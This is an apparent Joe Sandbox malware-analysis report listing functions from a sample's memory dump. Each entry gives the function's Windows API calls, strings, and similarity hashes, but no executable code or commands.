Function 000000014000B64C Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 000000014000B674
EnableWindow.USER32 ref: 000000014000B6F6
DestroyWindow.USER32 ref: 000000014000B706
UnregisterClassW.USER32 ref: 000000014000B71C

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Window$ClassDestroyEnableProcUnregister
String ID:
API String ID: 1570244450-0
Opcode ID: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction ID: 9942cbda7600913111d3f6e009e2264a98590d225334710fbbc2bdadcd09b10d
Opcode Fuzzy Hash: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction Fuzzy Hash: F121F9B4204A5182FB56DB27F8483A923A1E78CBC1F549126FB4A4B7B5DF3DC8459700

Function 000000014000BEA0 Relevance: 12.0, APIs: 8, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 000000014000BEAF
GetCurrentThreadId.KERNEL32 ref: 000000014000BEB7
IsWindowVisible.USER32 ref: 000000014000BEC4

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

GetCurrentThreadId.KERNEL32 ref: 000000014000BEE6
GetWindowLongPtrW.USER32 ref: 000000014000BEFC
GetForegroundWindow.USER32 ref: 000000014000BF0A
IsWindowEnabled.USER32 ref: 000000014000BF18
EnableWindow.USER32 ref: 000000014000BF2B

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction ID: 80f857dfb6a9a2f530fca3cb10c8fb692f8ca5f83b5b0ec86a1534c3d91aadad
Opcode Fuzzy Hash: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction Fuzzy Hash: 9D11397020064182EB46AB27A9483B962A1EB8CBC4F448024FA0A4B6B5DF7DC5458301

Function 00000001400117FC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011855
HeapAlloc.KERNEL32 ref: 0000000140011890
LeaveCriticalSection.KERNEL32 ref: 00000001400118FB
HeapAlloc.KERNEL32 ref: 0000000140011910
InitializeCriticalSection.KERNEL32 ref: 0000000140011952

Strings

0w, xrefs: 000000014001180B

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$AllocHeap$EnterInitializeLeave
String ID: 0w
API String ID: 2544007295-4020514967
Opcode ID: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction ID: 3c708bd0e8d6be70d523372ffb5b6a2e3cd9d0d7dbc1ea7b56162c86fa93b61b
Opcode Fuzzy Hash: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction Fuzzy Hash: 5E413932605B8086EB5ADF56E4403E877A4F79CBD0F54812AEB4D4BBA5DF39C8A5C700

Function 000000014000BF44 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 000000014000BF61
GetCurrentThreadId.KERNEL32 ref: 000000014000BF7A
SetWindowPos.USER32 ref: 000000014000BFAB
GetCurrentThreadId.KERNEL32 ref: 000000014000BFCA
EnableWindow.USER32 ref: 000000014000BFE4
SetWindowPos.USER32 ref: 000000014000C010

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction ID: 08829170a8ee5f1b49cfdf050f6537c1ef42b3a6330418e8cb94bb4851fba9f1
Opcode Fuzzy Hash: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction Fuzzy Hash: 6D3171B261064182FB62CF22F5487A977A1F75CBE9F484215FB6947AF9CB79C844CB00

Function 00000001400110DC Relevance: 9.1, APIs: 6, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140011112
HeapAlloc.KERNEL32 ref: 000000014001112D
TlsSetValue.KERNEL32 ref: 000000014001113C
TlsGetValue.KERNEL32 ref: 000000014001115F
HeapReAlloc.KERNEL32 ref: 000000014001117B
TlsSetValue.KERNEL32 ref: 000000014001118D

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction ID: 773301f083ee798336704ec3d5312664b9b868eef9dc2a5d6ba13fea1fa7b4fd
Opcode Fuzzy Hash: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction Fuzzy Hash: 3821F434200B8096EB4A9B92F8843E963A5F7DCBD0F548429FB4D47B79DE3DC8858740

Function 0000000140007284 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00000001400072B3
EnterCriticalSection.KERNEL32 ref: 00000001400072CC
WaitForSingleObject.KERNEL32 ref: 00000001400072E4
CloseHandle.KERNEL32 ref: 00000001400072F1
LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction ID: 6ed0f769cbd5916c92599595d34faf5ec2fc13e913d525d246d608b89e2aac48
Opcode Fuzzy Hash: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction Fuzzy Hash: FD210076204B0081EB06DB22E8943E973A4FB8CBC4F988026EB4D47779DF39C946C340

Function 0000000140011968 Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011985
LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7

DeleteCriticalSection.KERNEL32 ref: 0000000140011A0B
HeapFree.KERNEL32 ref: 0000000140011A1D

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction ID: 030e86aa03d9d600b90796447865b7023312810cb66964dcc71f9bcfbca43c2c
Opcode Fuzzy Hash: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction Fuzzy Hash: 4721E735201B4485EB4ADB57E5903E823A4F78CBC4F444115AB5E0B7B6CF3AC4A5C340

Function 000000014000E824 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000E9C7
memset.MSVCRT ref: 000000014000E9D5
memset.MSVCRT ref: 000000014000E9E2
memset.MSVCRT ref: 000000014000E9F1
memset.MSVCRT ref: 000000014000E9FF

Part of subcall function 000000014000FEE4: memmove.MSVCRT ref: 000000014000FF5C

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: memset$memmove
String ID:
API String ID: 3527438329-0
Opcode ID: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction ID: dba297aa8fb042b18ff0822facc25e4acf5e394d44c3b4579297ae20e1131b5c
Opcode Fuzzy Hash: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction Fuzzy Hash: E231007271064081FB16DA2BE4507E96612E38DBD0F848126EB1A83BAACA7EC502C740

Function 00000001400130CB Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
, xrefs: 00000001400130CB

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $ $header crc mismatch
API String ID: 0-4092041874
Opcode ID: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction ID: f6894c87bdfd3a48e6411c52319aba3e102a5ca19e93322268f312efd41433f4
Opcode Fuzzy Hash: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction Fuzzy Hash: 41A18FB26003508BFB269E1AC48C7AE3BE6F7587C8F064558EB964B3A4D776C954C780

Function 0000000140007A50 Relevance: 6.2, APIs: 4, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000000140007B33
wcsncpy.MSVCRT ref: 0000000140007B9F
wcsncpy.MSVCRT ref: 0000000140007BF9
HeapFree.KERNEL32 ref: 0000000140007C15

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Heapwcsncpy$AllocFree
String ID:
API String ID: 1479455602-0
Opcode ID: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction ID: 28fd82db213d89e843f0df720333d3fbeca218ccf85cb71e10007619eb34b75b
Opcode Fuzzy Hash: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction Fuzzy Hash: BF51A0B2B0068486EA66DF26A404BEA67E1F789BD4F588125EF4D477E5EB3CC542C300

Function 00000001400136B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014001375C

Strings

, xrefs: 00000001400136BA
invalid stored block lengths, xrefs: 00000001400136F0
, xrefs: 00000001400136DB

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: memmove
String ID: $ $invalid stored block lengths
API String ID: 2162964266-1718185709
Opcode ID: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction ID: 754f218cd566fbce8dd602483dcb0b6cf2df6dd41c0e80f26ad42ee7a9f80f3a
Opcode Fuzzy Hash: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction Fuzzy Hash: 3A417B766006508BE7268F27D5887AE3BA0F3087C8F155119FF8A4BBA4C776D8A1CB40

Function 000000014000C4F0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5A6
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5E1
RtlVirtualUnwind.KERNEL32 ref: 000000014000C64C
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C672

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: EntryFunctionLookup$UnwindVirtual
String ID:
API String ID: 3286588846-0
Opcode ID: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction ID: 3ebace1c390976f506d0f99ca18ed721a427f0b26ede3763bfd5663c46823d1b
Opcode Fuzzy Hash: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction Fuzzy Hash: 48512E66A15FC481EA61CB29E5453ED63A0FB9DB84F09A215DF8C13756EF34D2D4C700

Function 00000001400085F0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 000000014000861A
CharLowerW.USER32 ref: 000000014000864F
CharLowerW.USER32 ref: 000000014000867D
CharLowerW.USER32 ref: 0000000140008688

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction ID: 89447f37e157e5f910190f26039f07b44efb98263a832e051549732566d91b47
Opcode Fuzzy Hash: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction Fuzzy Hash: BB2181766006A092EA66EF13A8047BA76A0F748BF5F5A4211FFD5072E0DB35C495D710

Function 00000001400171F0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014001724E
malloc.MSVCRT ref: 0000000140017260
WideCharToMultiByte.KERNEL32 ref: 000000014001728B
malloc.MSVCRT ref: 00000001400172A2

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction ID: 84a502ef329111f45b75735ee98b05bbb8abde518fb530cc481733cdeaf2302d
Opcode Fuzzy Hash: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction Fuzzy Hash: 76216532608B8086D725CF56B44079AB7A5F7887D4F088325FF9917BA9DF3DC5529700

Function 000000014000DCA4 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32 ref: 000000014000DCCD
SHGetPathFromIDListW.SHELL32 ref: 000000014000DCDF
wcslen.MSVCRT ref: 000000014000DCEC
CoTaskMemFree.OLE32 ref: 000000014000DD0F

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction ID: 658b845125df41e3d707b834e255611bbe4f6e958313e82604e3ea1cd6ed1d71
Opcode Fuzzy Hash: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction Fuzzy Hash: 50016972314A5092E7219B26A5807AAA3B4FB88BC0F548026EB4987774DF3AC8528300

Function 000000014001147C Relevance: 5.1, APIs: 4, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001149E
HeapAlloc.KERNEL32 ref: 0000000140011573
HeapAlloc.KERNEL32 ref: 0000000140011597
LeaveCriticalSection.KERNEL32 ref: 0000000140011600

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction ID: a4d5f086a96e389f2db612197d0023b8b07f868559dabceebcf4944cd54701ff
Opcode Fuzzy Hash: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction Fuzzy Hash: 47513A72601B44C7EB5ACF26E18039873A5F78CF88F188526EB4E4B766DB35D4A1C750

Function 000000014000D02C Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014000D0B1
HeapAlloc.KERNEL32 ref: 000000014000D0C7
wcscpy.MSVCRT ref: 000000014000D0D7
memset.MSVCRT ref: 000000014000D111

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID:
API String ID: 1807340688-0
Opcode ID: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction ID: 2291175711b854bc4f74fb4265d0f1bd771c1a5bff4f4550b8324bf1b1149364
Opcode Fuzzy Hash: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction Fuzzy Hash: DA3129B1605B4081EB16EF27A5443ECB7A1EB8CFD4F588126AF4D0B7AADF39C4518351

Function 000000014000CCD8 Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE61
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE74
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE8F
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CEB1

HeapAlloc.KERNEL32 ref: 000000014000CD11
HeapAlloc.KERNEL32 ref: 000000014000CD42
HeapAlloc.KERNEL32 ref: 000000014000CDB2
HeapFree.KERNEL32 ref: 000000014000CDD8

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID:
API String ID: 3901518246-0
Opcode ID: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction ID: 7f7b652e9f7b58be947c1c734e7a82da3d99598ff0fb71c13e03353473737a2d
Opcode Fuzzy Hash: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction Fuzzy Hash: 063142B2211B409BE702DF13EA807A937A4F78CBD0F448429EB4847B65DF79E4A6C740

Function 00000001400112A8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400112C4
HeapReAlloc.KERNEL32 ref: 0000000140011308
LeaveCriticalSection.KERNEL32 ref: 0000000140011355

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction ID: 37e1212d5150fef44f5374ae18cee5b2af0a62904f946070966fd9e2c84ce28f
Opcode Fuzzy Hash: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction Fuzzy Hash: 7B210872615B4482EB198F66E5403EC6361F78CFD4F548612EB6E4B7AACF38C552C350

Function 0000000140017120 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0000000140017161
malloc.MSVCRT ref: 000000014001717B
MultiByteToWideChar.KERNEL32 ref: 0000000140017196
malloc.MSVCRT ref: 00000001400171B3

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

